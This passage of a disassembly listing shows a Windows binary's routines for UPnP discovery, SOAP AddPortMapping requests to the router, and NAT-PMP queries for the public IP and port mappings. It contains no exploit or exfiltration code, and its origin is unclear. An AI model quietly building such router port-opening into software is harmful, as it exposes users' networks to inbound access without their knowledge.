sub_44352A+DBj inc ebx loc_4435FD: ; CODE XREF: sub_44352A+C9j mov al, [ebx] test al, al jz short loc_443607 cmp al, 2Fh jnz short loc_4435FC loc_443607: ; CODE XREF: sub_44352A+D7j cmp byte ptr [ebx], 0 jnz short loc_443613 xor eax, eax jmp loc_443810 ; --------------------------------------------------------------------------- loc_443613: ; CODE XREF: sub_44352A+E0j lea eax, [ebp+var_40] push eax call sub_447C89 ; inet_addr mov [ebp+var_58], eax movzx eax, di push eax call sub_447C59 ; htons mov [ebp+var_5A], ax movzx eax, di push eax lea eax, [ebp+var_40] push eax push offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n" call sub_4481E1 add esp, 0Ch push 6 push 1 push 2 call sub_447C3B ; socket mov [ebp+var_44], eax cmp eax, 0FFFFFFFFh jnz short loc_44365A and [ebp+var_44], 0 loc_44365A: ; CODE XREF: sub_44352A+12Aj cmp [ebp+var_44], 0 jnz short loc_443667 xor eax, eax jmp loc_443810 ; --------------------------------------------------------------------------- loc_443667: ; CODE XREF: sub_44352A+134j lea eax, [ebp+var_40] push eax call sub_447C89 ; inet_addr movzx edx, di push edx push eax push [ebp+var_44] call sub_4424E8 add esp, 0Ch test eax, eax jnz short loc_443694 push [ebp+var_44] call sub_442443 pop ecx xor eax, eax jmp loc_443810 ; --------------------------------------------------------------------------- loc_443694: ; CODE XREF: sub_44352A+158j movzx eax, di push eax lea eax, [ebp+var_40] push eax push ebx push offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"... lea eax, [ebp+var_45C] push eax call sub_448241 add esp, 14h lea eax, [ebp+var_45C] push eax call sub_4485D1 pop ecx mov [ebp+var_48], eax push [ebp+var_48] lea eax, [ebp+var_45C] push eax push [ebp+var_44] call sub_442708 add esp, 0Ch cmp eax, [ebp+var_48] jz short loc_4436EB push [ebp+var_44] call sub_442443 pop ecx xor eax, eax jmp loc_443810 ; --------------------------------------------------------------------------- loc_4436EB: ; CODE XREF: sub_44352A+1AFj push [ebp+var_44] call sub_4434E3 pop ecx push 10000h call sub_441FC9 pop ecx mov [ebp+var_4C], eax push 0FFFFh push [ebp+var_4C] push [ebp+var_44] call sub_442694 add esp, 0Ch mov [ebp+var_48], eax test eax, eax jnz short loc_443753 push [ebp+var_44] call sub_4424C3 pop ecx mov [ebp+var_468], eax cmp eax, 0FFFFh jle short loc_44373C mov [ebp+var_468], 0FFFFh loc_44373C: ; CODE XREF: sub_44352A+206j push [ebp+var_468] push [ebp+var_4C] push [ebp+var_44] call sub_44265D add esp, 0Ch mov [ebp+var_48], eax loc_443753: ; CODE XREF: sub_44352A+1F0j push [ebp+var_48] movzx eax, di push eax lea eax, [ebp+var_40] push eax push offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"... call sub_4481E1 add esp, 10h cmp [ebp+var_48], 1 jge short loc_44378A push [ebp+var_4C] call sub_441FF7 pop ecx push [ebp+var_44] call sub_442443 pop ecx xor eax, eax jmp loc_443810 ; --------------------------------------------------------------------------- loc_44378A: ; CODE XREF: sub_44352A+245j push offset asc_40F5F0 ; "\n" push [ebp+var_4C] call sub_448641 pop ecx pop ecx mov [ebp+var_460], eax test eax, eax jnz short loc_4437B9 push [ebp+var_4C] call sub_441FF7 pop ecx push [ebp+var_44] call sub_442443 pop ecx xor eax, eax jmp short loc_443810 ; --------------------------------------------------------------------------- loc_4437B9: ; CODE XREF: sub_44352A+277j push offset a200 ; "200" push [ebp+var_4C] call sub_448641 pop ecx pop ecx mov [ebp+var_464], eax test eax, eax jz short loc_4437DA cmp eax, [ebp+var_460] jbe short loc_4437F0 loc_4437DA: ; CODE XREF: sub_44352A+2A6j push [ebp+var_4C] call sub_441FF7 pop ecx push [ebp+var_44] call sub_442443 pop ecx xor eax, eax jmp short loc_443810 ; --------------------------------------------------------------------------- loc_4437F0: ; CODE XREF: sub_44352A+2AEj push [ebp+var_44] call sub_442443 pop ecx lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_4485F1 pop ecx pop ecx mov edx, [ebp+arg_8] mov [edx], di mov eax, [ebp+var_4C] loc_443810: ; CODE XREF: sub_44352A+3Cj ; sub_44352A+64j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44352A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443817 proc near ; CODE XREF: sub_443A83+50Fp ; sub_443A83+53Dp var_2014 = dword ptr -2014h var_2010 = dword ptr -2010h var_200C = dword ptr -200Ch var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = dword ptr 14h arg_10 = word ptr 18h arg_14 = word ptr 1Ch push ebp mov ebp, esp mov eax, 2014h call sub_4486B1 push ebx push esi push edi movzx eax, [ebp+arg_10] push eax movzx eax, [ebp+arg_14] push eax push offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"... lea eax, [ebp+var_2008] push eax call sub_448241 add esp, 10h lea eax, [ebp+var_2008] push eax call sub_4485D1 pop ecx mov [ebp+var_200C], eax cmp [ebp+arg_0], 0 jz short loc_443885 push [ebp+var_200C] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_C] push offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"... lea eax, [ebp+var_1008] push eax call sub_448241 add esp, 18h jmp short loc_4438AA ; --------------------------------------------------------------------------- loc_443885: ; CODE XREF: sub_443817+45j push [ebp+var_200C] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_C] push offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"... lea eax, [ebp+var_1008] push eax call sub_448241 add esp, 18h loc_4438AA: ; CODE XREF: sub_443817+6Cj lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push eax call sub_448611 pop ecx pop ecx movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n" call sub_4481E1 add esp, 0Ch call sub_4422DA mov edi, eax test eax, eax jz loc_443A7C push [ebp+arg_4] call sub_447C89 ; inet_addr movzx edx, [ebp+arg_8] push edx push eax push edi call sub_4424E8 add esp, 0Ch test eax, eax jnz short loc_44390C push edi call sub_442443 pop ecx xor eax, eax jmp loc_443A7C ; --------------------------------------------------------------------------- loc_44390C: ; CODE XREF: sub_443817+E5j lea eax, [ebp+var_1008] push eax call sub_4485D1 pop ecx mov [ebp+var_4], eax push [ebp+var_4] lea eax, [ebp+var_1008] push eax push edi call sub_442708 add esp, 0Ch cmp eax, [ebp+var_4] jz short loc_443942 push edi call sub_442443 pop ecx xor eax, eax jmp loc_443A7C ; --------------------------------------------------------------------------- loc_443942: ; CODE XREF: sub_443817+11Bj push edi call sub_4434E3 pop ecx push 10000h call sub_441FC9 pop ecx mov [ebp+var_8], eax push 0FFFFh push [ebp+var_8] push edi call sub_442694 add esp, 0Ch mov [ebp+var_4], eax test eax, eax jnz short loc_4439A2 push edi call sub_4424C3 pop ecx mov [ebp+var_2014], eax cmp eax, 0FFFFh jle short loc_44398D mov [ebp+var_2014], 0FFFFh loc_44398D: ; CODE XREF: sub_443817+16Aj push [ebp+var_2014] push [ebp+var_8] push edi call sub_44265D add esp, 0Ch mov [ebp+var_4], eax loc_4439A2: ; CODE XREF: sub_443817+156j push [ebp+var_4] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "... call sub_4481E1 add esp, 10h cmp [ebp+var_4], 1 jge short loc_4439D7 push [ebp+var_8] call sub_441FF7 pop ecx push edi call sub_442443 pop ecx xor eax, eax jmp loc_443A7C ; --------------------------------------------------------------------------- loc_4439D7: ; CODE XREF: sub_443817+1A7j push offset asc_40F5F0 ; "\n" push [ebp+var_8] call sub_448641 pop ecx pop ecx mov [ebp+var_2010], eax test eax, eax jnz short loc_443A04 push [ebp+var_8] call sub_441FF7 pop ecx push edi call sub_442443 pop ecx xor eax, eax jmp short loc_443A7C ; --------------------------------------------------------------------------- loc_443A04: ; CODE XREF: sub_443817+1D7j mov ebx, [ebp+var_8] jmp short loc_443A0A ; --------------------------------------------------------------------------- loc_443A09: ; CODE XREF: sub_443817+1FBj inc ebx loc_443A0A: ; CODE XREF: sub_443817+1F0j mov al, [ebx] test al, al jz short loc_443A14 cmp al, 20h jnz short loc_443A09 loc_443A14: ; CODE XREF: sub_443817+1F7j jmp short loc_443A17 ; --------------------------------------------------------------------------- loc_443A16: ; CODE XREF: sub_443817+208j inc ebx loc_443A17: ; CODE XREF: sub_443817:loc_443A14j mov al, [ebx] test al, al jz short loc_443A21 cmp al, 20h jz short loc_443A16 loc_443A21: ; CODE XREF: sub_443817+204j xor esi, esi jmp short loc_443A35 ; --------------------------------------------------------------------------- loc_443A25: ; CODE XREF: sub_443817+22Aj lea esi, [esi+esi*4] add esi, esi movsx eax, byte ptr [ebx] sub eax, 30h add esi, eax inc ebx jmp short loc_443A43 ; --------------------------------------------------------------------------- loc_443A35: ; CODE XREF: sub_443817+20Cj mov al, [ebx] test al, al jz short loc_443A43 cmp al, 30h jl short loc_443A43 cmp al, 39h jle short loc_443A25 loc_443A43: ; CODE XREF: sub_443817+21Cj ; sub_443817+222j ... push esi movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."... call sub_4481E1 add esp, 10h cmp esi, 2 jz short loc_443A72 push [ebp+var_8] call sub_441FF7 pop ecx push edi call sub_442443 pop ecx xor eax, eax jmp short loc_443A7C ; --------------------------------------------------------------------------- loc_443A72: ; CODE XREF: sub_443817+245j push edi call sub_442443 pop ecx xor eax, eax inc eax loc_443A7C: ; CODE XREF: sub_443817+C6j ; sub_443817+F0j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_443817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443A83 proc near ; CODE XREF: DMN1:00444557p ; DMN1:00445A38p var_18A0 = dword ptr -18A0h var_189C = byte ptr -189Ch var_188C = dword ptr -188Ch var_1888 = dword ptr -1888h var_1884 = dword ptr -1884h var_187E = byte ptr -187Eh var_183E = word ptr -183Eh var_183C = dword ptr -183Ch var_1838 = dword ptr -1838h var_1834 = dword ptr -1834h var_1830 = dword ptr -1830h var_182C = dword ptr -182Ch var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_181C = word ptr -181Ch var_181A = word ptr -181Ah var_1818 = dword ptr -1818h var_1809 = byte ptr -1809h var_1409 = byte ptr -1409h var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, 18A0h call sub_4486B1 push ebx push esi push edi mov [ebp+var_1820], 3E8h cmp [ebp+arg_0], 0 jnz short loc_443AAC mov ax, [ebp+arg_4] mov [ebp+arg_0], ax loc_443AAC: ; CODE XREF: sub_443A83+1Fj push 10h push 0 lea eax, [ebp+var_181C] push eax call sub_448551 add esp, 0Ch mov [ebp+var_181C], 2 push offset a239_255_255_25 ; "239.255.255.250" call sub_447C89 ; inet_addr mov [ebp+var_1818], eax push 76Ch call sub_447C59 ; htons mov [ebp+var_181A], ax mov [ebp+var_404], 1 push 11h push 2 push 2 call sub_447C3B ; socket mov [ebp+var_408], eax and [ebp+var_1828], 0 mov [ebp+var_1824], 1 push offset a239_255_255_25 ; "239.255.255.250" call sub_447C89 ; inet_addr mov [ebp+var_1828], eax push 8 lea eax, [ebp+var_1828] push eax push 5 push 0 mov eax, [ebp+var_408] push eax call sub_447C41 ; setsockopt test eax, eax jge short loc_443B4D push offset aShit ; "shit!\n" call sub_4481E1 pop ecx loc_443B4D: ; CODE XREF: sub_443A83+BDj lea eax, [ebp+var_181C] mov [ebp+var_182C], eax push 10h push [ebp+var_182C] mov eax, [ebp+var_408] push eax call sub_447C65 ; bind cmp eax, 0FFFFFFFFh jnz loc_444003 push offset aXbind___ ; "xbind...\n" call sub_4481E1 pop ecx jmp loc_444003 ; --------------------------------------------------------------------------- loc_443B86: ; CODE XREF: sub_443A83+587j mov [ebp+var_1884], 10h push [ebp+var_404] push offset aSendingIupnpDi ; "sending IUPnP discovery request #%i...\n"... call sub_4481E1 pop ecx pop ecx push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."... call sub_4485D1 pop ecx push 10h lea edx, [ebp+var_181C] push edx push 0 push eax push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."... mov eax, [ebp+var_408] push eax call sub_447CA7 ; sendto test eax, eax jge short loc_443BE1 mov eax, [ebp+var_408] push eax call sub_447C47 ; closesocket xor eax, eax jmp loc_44401E ; --------------------------------------------------------------------------- loc_443BE1: ; CODE XREF: sub_443A83+149j push [ebp+var_404] push offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."... call sub_4481E1 pop ecx pop ecx push 4 lea eax, [ebp+var_1820] push eax push 1006h push 0FFFFh mov eax, [ebp+var_408] push eax call sub_447C41 ; setsockopt test eax, eax jge short loc_443C29 mov eax, [ebp+var_408] push eax call sub_447C47 ; closesocket xor eax, eax jmp loc_44401E ; --------------------------------------------------------------------------- loc_443C29: ; CODE XREF: sub_443A83+191j push [ebp+var_404] push offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."... call sub_4481E1 pop ecx pop ecx lea eax, [ebp+var_1884] push eax lea eax, [ebp+var_189C] push eax push 0 push 1000h lea eax, [ebp+var_1409] push eax mov eax, [ebp+var_408] push eax call sub_447CAD ; recvfrom test eax, eax jge short loc_443C93 call sub_447CB3 ; WSAGetLastError cmp eax, 274Ch jnz short loc_443C80 cmp [ebp+var_404], 3 jnz loc_443FFD loc_443C80: ; CODE XREF: sub_443A83+1EEj mov eax, [ebp+var_408] push eax call sub_447C47 ; closesocket xor eax, eax jmp loc_44401E ; --------------------------------------------------------------------------- loc_443C93: ; CODE XREF: sub_443A83+1E2j mov eax, [ebp+var_1884] mov [ebp+eax+var_1409], 0 push [ebp+var_404] push offset aIupnpDiscovery ; "IUPnP discovery request #%i -- checking"... call sub_4481E1 pop ecx pop ecx push offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"... lea eax, [ebp+var_1409] push eax call sub_443492 pop ecx pop ecx test eax, eax jnz short loc_443CE1 push [ebp+var_404] push offset aIupnpDiscove_0 ; "IUPnP discovery request #%i: bad (0)..."... call sub_4481E1 pop ecx pop ecx jmp loc_443FFD ; --------------------------------------------------------------------------- loc_443CE1: ; CODE XREF: sub_443A83+245j push offset aLocation ; "location" lea eax, [ebp+var_1409] push eax call sub_443492 pop ecx pop ecx mov ebx, eax test ebx, ebx jnz short loc_443D12 push [ebp+var_404] push offset aIupnpDiscove_1 ; "IUPnP discovery request #%i: bad (1)..."... call sub_4481E1 pop ecx pop ecx jmp loc_443FFD ; --------------------------------------------------------------------------- loc_443D11: ; CODE XREF: sub_443A83+297j inc ebx loc_443D12: ; CODE XREF: sub_443A83+275j mov al, [ebx] test al, al jz short loc_443D1C cmp al, 3Ah jnz short loc_443D11 loc_443D1C: ; CODE XREF: sub_443A83+293j cmp byte ptr [ebx], 0 jz short loc_443D25 inc ebx jmp short loc_443D25 ; --------------------------------------------------------------------------- loc_443D24: ; CODE XREF: sub_443A83+2AAj inc ebx loc_443D25: ; CODE XREF: sub_443A83+29Cj ; sub_443A83+29Fj mov al, [ebx] test al, al jz short loc_443D2F cmp al, 20h jz short loc_443D24 loc_443D2F: ; CODE XREF: sub_443A83+2A6j lea eax, [ebp+var_1809] mov [ebp+var_1834], eax jmp short loc_443D4E ; --------------------------------------------------------------------------- loc_443D3D: ; CODE XREF: sub_443A83+2D3j mov edx, [ebp+var_1834] mov al, [ebx] mov [edx], al inc [ebp+var_1834] inc ebx loc_443D4E: ; CODE XREF: sub_443A83+2B8j mov al, [ebx] test al, al jz short loc_443D58 cmp al, 20h jg short loc_443D3D loc_443D58: ; CODE XREF: sub_443A83+2CFj mov edx, [ebp+var_1834] mov byte ptr [edx], 0 lea eax, [ebp+var_1809] push eax call sub_4485D1 pop ecx test eax, eax jnz short loc_443D89 push [ebp+var_404] push offset aIupnpDiscove_2 ; "IUPnP discovery request #%i: bad (2)..."... call sub_4481E1 pop ecx pop ecx jmp loc_443FFD ; --------------------------------------------------------------------------- loc_443D89: ; CODE XREF: sub_443A83+2EDj mov [ebp+var_183E], 0 lea eax, [ebp+var_1809] push eax push offset aLocationS ; "location: <%s>\n" call sub_4481E1 pop ecx pop ecx lea eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax lea eax, [ebp+var_1809] push eax call sub_44352A add esp, 0Ch mov [ebp+var_183C], eax test eax, eax jnz short loc_443DE3 push [ebp+var_404] push offset aIupnpDiscove_3 ; "IUPnP discovery request #%i: bad (3)..."... call sub_4481E1 pop ecx pop ecx jmp loc_443FFD ; --------------------------------------------------------------------------- loc_443DE3: ; CODE XREF: sub_443A83+347j push offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"... push [ebp+var_183C] call sub_443492 pop ecx pop ecx mov [ebp+var_188C], eax test eax, eax jnz short loc_443E10 push [ebp+var_183C] call sub_441FF7 pop ecx jmp loc_443FFD ; --------------------------------------------------------------------------- loc_443E10: ; CODE XREF: sub_443A83+37Aj mov eax, [ebp+var_183C] mov [ebp+var_1830], eax loc_443E1C: ; CODE XREF: sub_443A83+3CBj push offset aService_0 ; "<service>" push [ebp+var_1830] call sub_443492 pop ecx pop ecx mov [ebp+var_18A0], eax test eax, eax jz short loc_443E40 cmp eax, [ebp+var_1830] jbe short loc_443E42 loc_443E40: ; CODE XREF: sub_443A83+3B3j jmp short loc_443E50 ; --------------------------------------------------------------------------- loc_443E42: ; CODE XREF: sub_443A83+3BBj mov eax, [ebp+var_18A0] mov [ebp+var_1830], eax jmp short loc_443E1C ; --------------------------------------------------------------------------- loc_443E50: ; CODE XREF: sub_443A83:loc_443E40j push offset aService ; "</service>" push [ebp+var_1830] call sub_443492 pop ecx pop ecx mov [ebp+var_1888], eax test eax, eax jnz short loc_443E7D push [ebp+var_183C] call sub_441FF7 pop ecx jmp loc_443FFD ; --------------------------------------------------------------------------- loc_443E7D: ; CODE XREF: sub_443A83+3E7j push offset aControlurl ; "<controlURL>" push [ebp+var_1830] call sub_443492 pop ecx pop ecx mov esi, eax test esi, esi jz short loc_443E9D cmp esi, [ebp+var_1888] jb short loc_443EAE loc_443E9D: ; CODE XREF: sub_443A83+410j push [ebp+var_183C] call sub_441FF7 pop ecx jmp loc_443FFD ; --------------------------------------------------------------------------- loc_443EAE: ; CODE XREF: sub_443A83+418j push 400h push 0 lea eax, [ebp+var_400] push eax call sub_448551 add esp, 0Ch jmp short loc_443EC7 ; --------------------------------------------------------------------------- loc_443EC6: ; CODE XREF: sub_443A83+44Cj inc esi loc_443EC7: ; CODE XREF: sub_443A83+441j mov al, [esi] test al, al jz short loc_443ED1 cmp al, 3Eh jnz short loc_443EC6 loc_443ED1: ; CODE XREF: sub_443A83+448j cmp byte ptr [esi], 0 jz short loc_443ED7 inc esi loc_443ED7: ; CODE XREF: sub_443A83+451j cmp byte ptr [esi], 0 jnz short loc_443EED push [ebp+var_183C] call sub_441FF7 pop ecx jmp loc_443FFD ; --------------------------------------------------------------------------- loc_443EED: ; CODE XREF: sub_443A83+457j and [ebp+var_1838], 0 jmp short loc_443F0C ; --------------------------------------------------------------------------- loc_443EF6: ; CODE XREF: sub_443A83+491j mov eax, [ebp+var_1838] mov dl, [esi] mov [ebp+eax+var_400], dl inc [ebp+var_1838] inc esi loc_443F0C: ; CODE XREF: sub_443A83+471j mov al, [esi] test al, al jz short loc_443F16 cmp al, 3Ch jnz short loc_443EF6 loc_443F16: ; CODE XREF: sub_443A83+48Dj mov eax, [ebp+var_1838] mov [ebp+eax+var_400], 0 push offset aHttp ; "http://" lea eax, [ebp+var_400] push eax call sub_443492 pop ecx pop ecx mov edi, eax test edi, edi jnz short loc_443F46 lea edi, [ebp+var_400] jmp short loc_443F76 ; --------------------------------------------------------------------------- loc_443F45: ; CODE XREF: sub_443A83+4CBj inc edi loc_443F46: ; CODE XREF: sub_443A83+4B8j mov al, [edi] test al, al jz short loc_443F50 cmp al, 3Ah jnz short loc_443F45 loc_443F50: ; CODE XREF: sub_443A83+4C7j cmp byte ptr [edi], 0 jz short loc_443F59 inc edi jmp short loc_443F59 ; --------------------------------------------------------------------------- loc_443F58: ; CODE XREF: sub_443A83+4DEj inc edi loc_443F59: ; CODE XREF: sub_443A83+4D0j ; sub_443A83+4D3j mov al, [edi] test al, al jz short loc_443F63 cmp al, 2Fh jz short loc_443F58 loc_443F63: ; CODE XREF: sub_443A83+4DAj cmp byte ptr [edi], 0 jz short loc_443F6C inc edi jmp short loc_443F6C ; --------------------------------------------------------------------------- loc_443F6B: ; CODE XREF: sub_443A83+4F1j inc edi loc_443F6C: ; CODE XREF: sub_443A83+4E3j ; sub_443A83+4E6j mov al, [edi] test al, al jz short loc_443F76 cmp al, 2Fh jnz short loc_443F6B loc_443F76: ; CODE XREF: sub_443A83+4C0j ; sub_443A83+4EDj movzx eax, [ebp+arg_4] push eax movzx eax, [ebp+arg_0] push eax push edi movzx eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax push 0 call sub_443817 add esp, 18h test eax, eax jnz short loc_443FDA movzx eax, [ebp+arg_4] push eax movzx eax, [ebp+arg_0] push eax lea eax, [ebp+var_400] push eax movzx eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax push 1 call sub_443817 add esp, 18h test eax, eax jnz short loc_443FDA push [ebp+var_183C] call sub_441FF7 pop ecx jmp short loc_443FFD ; --------------------------------------------------------------------------- loc_443FDA: ; CODE XREF: sub_443A83+519j ; sub_443A83+547j push [ebp+var_404] push offset aIupnpDiscove_4 ; "IUPnP discovery request #%i: ok.\n" call sub_4481E1 pop ecx pop ecx mov eax, [ebp+var_408] push eax call sub_447C47 ; closesocket xor eax, eax inc eax jmp short loc_44401E ; --------------------------------------------------------------------------- loc_443FFD: ; CODE XREF: sub_443A83+1F7j ; sub_443A83+259j ... inc [ebp+var_404] loc_444003: ; CODE XREF: sub_443A83+EDj ; sub_443A83+FEj cmp [ebp+var_404], 3 jl loc_443B86 mov eax, [ebp+var_408] push eax call sub_447C47 ; closesocket xor eax, eax loc_44401E: ; CODE XREF: sub_443A83+159j ; sub_443A83+1A1j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_443A83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444025 proc near ; CODE XREF: sub_444094+16p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push ebx push esi and [ebp+var_4], 0 xor esi, esi push 3Ch call sub_441FC9 pop ecx mov ebx, eax test eax, eax jz short loc_44408E push 0 lea eax, [ebp+var_4] push eax push ebx call sub_447CB9 ; GetIpForwardTable cmp eax, 7Ah jnz short loc_444069 push ebx call sub_441FF7 pop ecx mov eax, [ebp+var_4] push eax call sub_441FC9 pop ecx mov ebx, eax test eax, eax jz short loc_44408E loc_444069: ; CODE XREF: sub_444025+2Bj push 0 lea eax, [ebp+var_4] push eax push ebx call sub_447CB9 ; GetIpForwardTable test eax, eax jnz short loc_444085 mov eax, [ebx] mov [ebp+var_8], eax test eax, eax jz short loc_444085 mov esi, [ebx+10h] loc_444085: ; CODE XREF: sub_444025+52j ; sub_444025+5Bj push ebx call sub_441FF7 pop ecx mov eax, esi loc_44408E: ; CODE XREF: sub_444025+1Aj ; sub_444025+42j pop esi pop ebx mov esp, ebp pop ebp retn sub_444025 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444094 proc near ; CODE XREF: DMN1:00444502p ; DMN1:004459DDp var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_B8 = dword ptr -0B8h var_AC = word ptr -0ACh var_AA = word ptr -0AAh var_A8 = dword ptr -0A8h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = word ptr -94h var_92 = word ptr -92h var_90 = dword ptr -90h var_84 = dword ptr -84h var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_78 = byte ptr -78h push ebp mov ebp, esp sub esp, 0C0h push ebx push esi push edi mov [ebp+var_9C], 0FAh call sub_444025 mov [ebp+var_84], eax test eax, eax jz loc_44429C mov [ebp+var_94], 2 mov eax, [ebp+var_84] mov [ebp+var_90], eax push 14E7h call sub_447C59 ; htons mov [ebp+var_92], ax mov eax, [ebp+var_84] mov [ebp+var_98], eax push eax call sub_447CA1 ; inet_ntoa push eax push offset aDefaultGateway ; "default gateway: [%s]\n" call sub_4481E1 pop ecx pop ecx xor ebx, ebx inc ebx push 11h push 2 push 2 call sub_447C3B ; socket mov esi, eax push 10h push 0 lea eax, [ebp+var_AC] push eax call sub_448551 add esp, 0Ch mov [ebp+var_AC], 2 mov eax, [ebp+var_84] mov [ebp+var_A8], eax push 14E7h call sub_447C59 ; htons mov [ebp+var_AA], ax lea edi, [ebp+var_AC] push 10h push edi push esi call sub_447C65 ; bind jmp loc_44428B ; --------------------------------------------------------------------------- loc_44415F: ; CODE XREF: sub_444094+1FAj mov [ebp+var_C0], 10h push ebx push offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n" call sub_4481E1 pop ecx pop ecx mov [ebp+var_80], 0 mov [ebp+var_7F], 0 push 10h lea eax, [ebp+var_94] push eax push 0 push 2 lea eax, [ebp+var_80] push eax push esi call sub_447CA7 ; sendto test eax, eax jge short loc_4441A6 push esi call sub_447C47 ; closesocket xor eax, eax jmp loc_44429C ; --------------------------------------------------------------------------- loc_4441A6: ; CODE XREF: sub_444094+103j push ebx push offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n" call sub_4481E1 pop ecx pop ecx push 4 lea eax, [ebp+var_9C] push eax push 1006h push 0FFFFh push esi call sub_447C41 ; setsockopt test eax, eax jge short loc_4441DD push esi call sub_447C47 ; closesocket xor eax, eax jmp loc_44429C ; --------------------------------------------------------------------------- loc_4441DD: ; CODE XREF: sub_444094+13Aj push ebx push offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n" call sub_4481E1 pop ecx pop ecx lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_BC] push eax push 0 push 0Ch lea eax, [ebp+var_80] push eax push esi call sub_447CAD ; recvfrom test eax, eax jge short loc_444225 call sub_447CB3 ; WSAGetLastError cmp eax, 274Ch jnz short loc_44421B cmp ebx, 9 jnz short loc_444284 loc_44421B: ; CODE XREF: sub_444094+180j push esi call sub_447C47 ; closesocket xor eax, eax jmp short loc_44429C ; --------------------------------------------------------------------------- loc_444225: ; CODE XREF: sub_444094+174j push ebx push offset aNatPmpRequestI ; "NAT-PMP request #%i - ok\n" call sub_4481E1 pop ecx pop ecx mov eax, [ebp+var_90] cmp [ebp+var_B8], eax jnz short loc_444284 push 4 lea eax, [ebp+var_78] push eax lea eax, [ebp+var_84] push eax call sub_4485B1 add esp, 0Ch mov eax, [ebp+var_84] mov [ebp+var_98], eax push eax call sub_447CA1 ; inet_ntoa push eax push ebx push offset aNatPmpReques_0 ; "NAT-PMP request #%i - public IP: [%s]\n" call sub_4481E1 add esp, 0Ch push esi call sub_447C47 ; closesocket mov eax, [ebp+var_84] jmp short loc_44429C ; --------------------------------------------------------------------------- loc_444284: ; CODE XREF: sub_444094+185j ; sub_444094+1AAj inc ebx shl [ebp+var_9C], 1 loc_44428B: ; CODE XREF: sub_444094+C6j cmp ebx, 0Ah jl loc_44415F push esi call sub_447C47 ; closesocket xor eax, eax loc_44429C: ; CODE XREF: sub_444094+23j ; sub_444094+10Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_444094 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4442A3 proc near ; CODE XREF: DMN1:0044451Ep ; DMN1:004459F8p var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_B8 = dword ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = word ptr -0A4h var_A2 = word ptr -0A2h var_A0 = dword ptr -0A0h var_94 = dword ptr -94h var_90 = word ptr -90h var_8E = word ptr -8Eh var_8C = dword ptr -8Ch var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_7E = byte ptr -7Eh var_7D = byte ptr -7Dh var_7C = byte ptr -7Ch var_7A = byte ptr -7Ah var_78 = byte ptr -78h var_76 = byte ptr -76h var_75 = byte ptr -75h arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 0C0h push ebx push esi push edi mov [ebp+var_94], 0FAh mov [ebp+var_90], 2 mov eax, [ebp+arg_0] mov [ebp+var_8C], eax push 14E7h call sub_447C59 ; htons mov [ebp+var_8E], ax mov eax, [ebp+arg_0] mov [ebp+var_A8], eax push eax call sub_447CA1 ; inet_ntoa push eax push offset aRouterIpS ; "router ip: [%s]\n" call sub_4481E1 pop ecx pop ecx xor esi, esi inc esi push 11h push 2 push 2 call sub_447C3B ; socket mov edi, eax push 10h push 0 lea eax, [ebp+var_A4] push eax call sub_448551 add esp, 0Ch mov [ebp+var_A4], 2 mov eax, [ebp+arg_0] mov [ebp+var_A0], eax push 14E7h call sub_447C59 ; htons mov [ebp+var_A2], ax lea 